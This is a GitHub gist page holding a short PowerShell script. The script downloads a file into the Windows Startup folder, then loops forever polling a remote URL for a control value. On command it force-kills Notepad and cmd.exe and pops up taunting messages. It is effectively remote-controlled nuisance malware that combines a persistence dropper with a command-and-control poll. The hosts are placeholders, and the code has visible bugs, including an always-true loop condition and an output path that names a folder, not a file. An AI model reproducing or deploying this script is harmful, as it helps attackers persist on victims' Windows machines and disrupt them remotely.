Created
May 31, 2022 11:37
-
-
Save danielsalama2/65cbecd6687fb52899d089ac7fea138a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cls | |
Invoke-WebRequest -Uri "download-file" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" | |
while($running = 5) | |
{ | |
$data1 = Get-Process -Name "notepad" | |
$data2 = Get-Process -Name "cmd" | |
$number = (new-object Net.WebClient).DownloadString("https://website.com/code.fxp") | |
if(($number) -eq 1) | |
{ | |
if($data1) | |
{ | |
taskkill /f /im notepad.exe | |
msg * "cant use notepad. reason: yes" | |
} | |
if($data2) | |
{ | |
taskkill /f /im cmd.exe | |
msg * "cant use cmd. reason: yes" | |
} | |
} | |
if(($number) -eq 2) | |
{ | |
msg * "not working because $number = 2" | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment